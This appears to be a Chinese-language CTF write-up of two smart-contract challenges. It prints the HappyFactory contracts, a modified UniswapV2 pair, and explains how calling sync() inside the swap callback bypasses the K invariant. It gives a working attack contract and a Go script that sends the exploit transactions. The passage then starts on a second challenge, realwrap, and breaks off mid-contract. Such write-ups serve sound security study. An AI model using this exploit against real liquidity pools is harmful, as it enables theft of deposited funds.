HappyFactory
0x01 Intro
题目的漏洞倒是不难，考察了变版的UniswapV2倒是有一处卡了好久。。。等下分析题目时说一下
0x02 Code
Click to see more
附件合约
/**
*Submitted for verification at Etherscan.io on 2020-05-04
*/
pragma solidity =0.5.16;
interface IKonohaFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IKonohaPair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IKonohaERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IKonohaCallee {
function KonohaCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
contract KonohaERC20 is IKonohaERC20 {
using SafeMath for uint256;
string public constant name = “Konoha Liquidity”;
string public constant symbol = “Konoha”;
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256(“Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)”);
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
“EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)”
),
keccak256(bytes(name)),
keccak256(bytes(“1”)),
chainId,
address(this)
)
);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(
value
);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, “Konoha: EXPIRED”);
bytes32 digest = keccak256(
abi.encodePacked(
“\x19\x01”,
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
“Konoha: INVALID_SIGNATURE”
);
_approve(owner, spender, value);
}
}
contract KonohaPair is IKonohaPair, KonohaERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR =
bytes4(keccak256(bytes(“transfer(address,uint256)”)));
address public factory;
address public token0;
address public token1;
uint112 public reserve0; // uses single storage slot, accessible via getReserves
uint112 public reserve1; // uses single storage slot, accessible via getReserves
uint32 public blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, “Konoha: LOCKED”);
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
“Konoha: TRANSFER_FAILED”
);
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, “Konoha: FORBIDDEN”); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
require(
balance0 <= uint112(-1) && balance1 <= uint112(-1),
“Konoha: OVERFLOW”
);
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp – blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1)
private
returns (bool feeOn)
{
address feeTo = IKonohaFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(
amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1
);
}
require(liquidity > 0, “Konoha: INSUFFICIENT_LIQUIDITY_MINTED”);
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to)
external
lock
returns (uint256 amount0, uint256 amount1)
{
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(
amount0 > 0 && amount1 > 0,
“Konoha: INSUFFICIENT_LIQUIDITY_BURNED”
);
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
“Konoha: INSUFFICIENT_OUTPUT_AMOUNT”
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, “Konoha: INVALID_TO”);
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
IKonohaCallee(to).KonohaCall(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
“Konoha: INSUFFICIENT_LIQUIDITY”
);
uint256 amount0In = balance0 > _reserve0 – amount0Out
? balance0 – (_reserve0 – amount0Out)
: 0;//1e18
uint256 amount1In = balance1 > _reserve1 – amount1Out
? balance1 – (_reserve1 – amount1Out)
: 0;//0
require(
amount0In > 0 || amount1In > 0,
“Konoha: INSUFFICIENT_INPUT_AMOUNT”
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(
amount0In.mul(25)
);
uint256 balance1Adjusted = balance1.mul(1000).sub(
amount1In.mul(25)
);
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
“Konoha: K”
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(
_token0,
to,
IERC20(_token0).balanceOf(address(this)).sub(reserve0)
);
_safeTransfer(
_token1,
to,
IERC20(_token1).balanceOf(address(this)).sub(reserve1)
);
}
// force reserves to match balances
function sync() external {
_update(
IERC20(token0).balanceOf(address(this)),
IERC20(token1).balanceOf(address(this)),
reserve0,
reserve1
);
}
}
contract KonohaFactory is IKonohaFactory {
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external view returns (uint256) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB)
external
returns (address pair)
{
require(tokenA != tokenB, “Konoha: IDENTICAL_ADDRESSES”);
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), “Konoha: ZERO_ADDRESS”);
require(getPair[token0][token1] == address(0), “Konoha: PAIR_EXISTS”); // single check is sufficient
bytes memory bytecode = type(KonohaPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IKonohaPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, “Konoha: FORBIDDEN”);
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, “Konoha: FORBIDDEN”);
feeToSetter = _feeToSetter;
}
function test() public view returns (bytes32) {
return
keccak256(
“Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)”
);
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, “ds-math-add-overflow”);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x – y) <= x, “ds-math-sub-underflow”);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, “ds-math-mul-overflow”);
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 – 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
Copy
题目合约：
其余部分几乎一样的，就是换成了interface
contract Happy {
event tokenA_tokenB(address, address);
IHappyFactory factory =
IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36));
function setup() public returns (address, address) {
Token tokenA = new Token();
Token tokenB = new Token();
address pair = factory.createPair(address(tokenA), address(tokenB));
tokenA.mint(pair, 10 ether);
tokenB.mint(pair, 10 ether);
IHappyPair(pair).sync();
tokenA.mint(msg.sender, 1 ether);
emit tokenA_tokenB(address(tokenA), address(tokenB));
return (address(tokenA), address(tokenB));
}
}
contract Greeter {
address happy_contract;
address public tokenA;
address public tokenB;
address deployer;
constructor() public {
happy_contract = address(0x2d55bF802F341F969F777F94f7A39604133BE4F6);
(tokenA, tokenB) = Happy(happy_contract).setup();
deployer = msg.sender;
}
function airdrop() public {
IERC20(tokenA).transfer(msg.sender, 1 ether);
}
function isSolved() public view returns (bool) {
return IERC20(tokenB).balanceOf(deployer) >= 1 ether;
}
}
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0x03 Analyse
分析代码看来这道题目就是使用了一个变版的uniswapV2的代码，重点在于swap函数，我们来看一下是哪里出现了问题
正确版本：
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
“UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT”
);
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
“UniswapV2: INSUFFICIENT_LIQUIDITY”
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, “UniswapV2: INVALID_TO”);
if (amount0Out > 0) IERC20(_token0).safeTransfer(to, amount0Out);
if (amount1Out > 0) IERC20(_token1).safeTransfer(to, amount1Out);
if (data.length > 0)
IUniswapV2Callee(to).uniswapV2Call(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 – amount0Out
? balance0 – (_reserve0 – amount0Out)
: 0;
uint256 amount1In = balance1 > _reserve1 – amount1Out
? balance1 – (_reserve1 – amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
“UniswapV2: INSUFFICIENT_INPUT_AMOUNT”
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000 ** 2),
“UniswapV2: K”
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
Copy
题目版本：
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
“Konoha: INSUFFICIENT_OUTPUT_AMOUNT”
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, “Konoha: INVALID_TO”);
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
IKonohaCallee(to).KonohaCall(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
“Konoha: INSUFFICIENT_LIQUIDITY”
);
uint256 amount0In = balance0 > _reserve0 – amount0Out
? balance0 – (_reserve0 – amount0Out)
: 0;//1e18
uint256 amount1In = balance1 > _reserve1 – amount1Out
? balance1 – (_reserve1 – amount1Out)
: 0;//0
require(
amount0In > 0 || amount1In > 0,
“Konoha: INSUFFICIENT_INPUT_AMOUNT”
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(
amount0In.mul(25)
);
uint256 balance1Adjusted = balance1.mul(1000).sub(
amount1In.mul(25)
);
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
“Konoha: K”
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
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对比之下比较容易发现实际上两段代码的逻辑差异就是调用getreserve()的顺序不一样，正是由于顺序的不同造成了该题目的漏洞函数getreserve0()发生在flashloan之后，这也就意味着我们可以在flashloan过程中通过sync()函数操纵reserve，从而达到绕过K值检测
针对题目数据做一个简单的构造来看一下
题目合约部署之后两个token的reerse都为10，但是我们可以通过airdrop获得一个tokenA，这个A先不用，调用swap函数，tokenAout设置为0，tokenBout设置为1，此时swap函数中执行到外部调用（就是在这里卡了几个小时，题目合约都是interface形式，没有给出外部调用的函数名，甚至还写了个脚本把byteode一位一位的跑了一遍。。最后还是根据KonahaPair合约函数名试出来的），通过攻击合约中的恶意函数，调用sync，更新reserve，同时将我们的一个TokenA转账到pair合约
此时
balanceA：11
reserveA：10
balanceB：9
reserveB：9
amountAIn：1
AmountBIn：1
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经过K值检测之后数值大8左右具体记不清了，这样的话满足了K值检测，用一个ToKenA获得到了一个TokenB，再将获得到的TokenB转账到deploy地址下就可以了
0x04 Attack
contract attack {
Greeter public airdrop;
IHappyPair public target;
IERC20 public TokenA;
IERC20 public TokenB;
constructor() {
TokenA = IERC20(0x7FB26050C2f2dCB3C5A55040a2a59ba586e15131);
TokenB = IERC20(0xA68Ec5cF94031766CAdF014F4aCdFc74163462bb);
airdrop = Greeter(0xef7C82a5C917BBf442a385ba971905E187cFb56E);
target = IHappyPair(0x6dD412b76987CFCfcBDdb633A36832cdc9B939B5);
airdrop.airdrop();
}
function step()public{
target.swap(0, 1e18, address(this), “0x1234”);
}
function HappyCall(address q,uint w,uint e,bytes calldata data)external{
target.sync();
TokenA.transfer(address(target), TokenA.balanceOf(address(this)));
}
function over(address to)public{
TokenB.transfer(to, 1e18);
}
}
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Pwn.go
chainID, err := client.NetworkID(context.Background())
auth, _ := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
auth.Nonce = big.NewInt(int64(nonce))
auth.Value = big.NewInt(0) // in wei
auth.GasLimit = uint64(3000000) // in units
auth.GasPrice = gasPrice
//address, tx, _, err := attack.DeployAttack(auth, client)
//
//if err != nil {
//log.Fatal(err)
//}
//
//fmt.Println(address.Hex())
//fmt.Println(tx.Hash().Hex())
//instance, _ := attack.NewAttack(common2.HexToAddress(“0xb9B01490cEE9d1FC84Ba19b55AFeAE7658fA8c6f”), client)
//tx1, _ := instance.Step(auth)
//fmt.Println(tx1.To(), tx1.Hash())
instance, _ := attack.NewAttack(common2.HexToAddress(“0xb9B01490cEE9d1FC84Ba19b55AFeAE7658fA8c6f”), client)
tx1, _ := instance.Over(auth, common2.HexToAddress(“0x4A843418Aa8679D9709A08261d48aC9AE6cEc1c3”))
fmt.Println(tx1.To(), tx1.Hash())
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最终这道题也是拿到了第四解
realwrap
0x01 Intro
这道题目使用go仿照着erc20写了一个程序，实现了使用预编译合约直接将ETH作为WrappedETH使用，还是蛮有新意的。
个人感觉难度比上一道题大一点，但是在比赛中做出这个题目的团队数大概是上一道题目的三倍左右。
0x02 Code
Click to see more
pragma solidity ^0.8.17;
import “@openzeppelin/contracts/token/ERC20/ERC20.sol”;
import “@openzeppelin/contracts/token/ERC20/IERC20.sol”;
import “./UniswapV2Pair.sol”;
contract SimpleToken is ERC20 {
constructor(uint256 _initialSupply) ERC20(“SimpleToken”, “SPT”) {
_mint(msg.sender, _initialSupply);
}
}
interface IUniswapV2Pair {
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function mint(address to) external returns (uint liquidity);
function initialize(address, address) external;
}
contract Factory {
address public constant WETH = 0x0000000000000000000000000000000000004eA1;
address public uniswapV2Pair;
event PairCreated(
address indexed token0,
address indexed token1,
address pair
);
constructor() payable {
require(msg.value == 1 ether);
address token = address(new SimpleToken(10 ** 8 * 1 ether));
uniswapV2Pair = createPair(WETH, token);
IERC20(WETH).transfer(uniswapV2Pair, 1 ether);
IERC20(token).transfer(uniswapV2Pair, 100 ether);
IUniswapV2Pair(uniswapV2Pair).mint(msg.sender);
}
function createPair(
address tokenA,
address tokenB
) public returns (address pair) {
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
pair = address(new UniswapV2Pair{salt: salt}());
IUniswapV2Pair(pair).initialize(token0, token1);
emit PairCreated(token0, token1, pair);
}
function isSolved() public view returns (bool) {
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(uniswapV2Pair)
.getReserves();
return reserve0 == 0 && reserve1 == 0;
}
}
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Click to see more
pragma solidity ^0.8.17;
import “@openzeppelin/contracts/token/ERC20/ERC20.sol”;
import “@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol”;
import “@openzeppelin/contracts/utils/math/Math.sol”;
import “@openzeppelin/contracts/utils/math/SafeMath.sol”;
import “./libraries/UQ112x112.sol”;
interface IUniswapV2Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
contract UniswapV2ERC20 is ERC20 {
constructor() ERC20(“Uniswap V2”, “UNI-V2”) {}
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
using SafeERC20 for IERC20;
uint256 public constant MINIMUM_LIQUIDITY = 10 ** 3;
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, “UniswapV2: LOCKED”);
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, “UniswapV2: FORBIDDEN”); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
require(
balance0 <= type(uint112).max && balance1 <= type(uint112).max,
“UniswapV2: OVERFLOW”
);
uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
unchecked {
uint32 timeElapsed = blockTimestamp – blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
uint256 _totalSupply = totalSupply();
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0xdEaD), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(
amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1
);
}
require(liquidity > 0, “UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED”);
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(
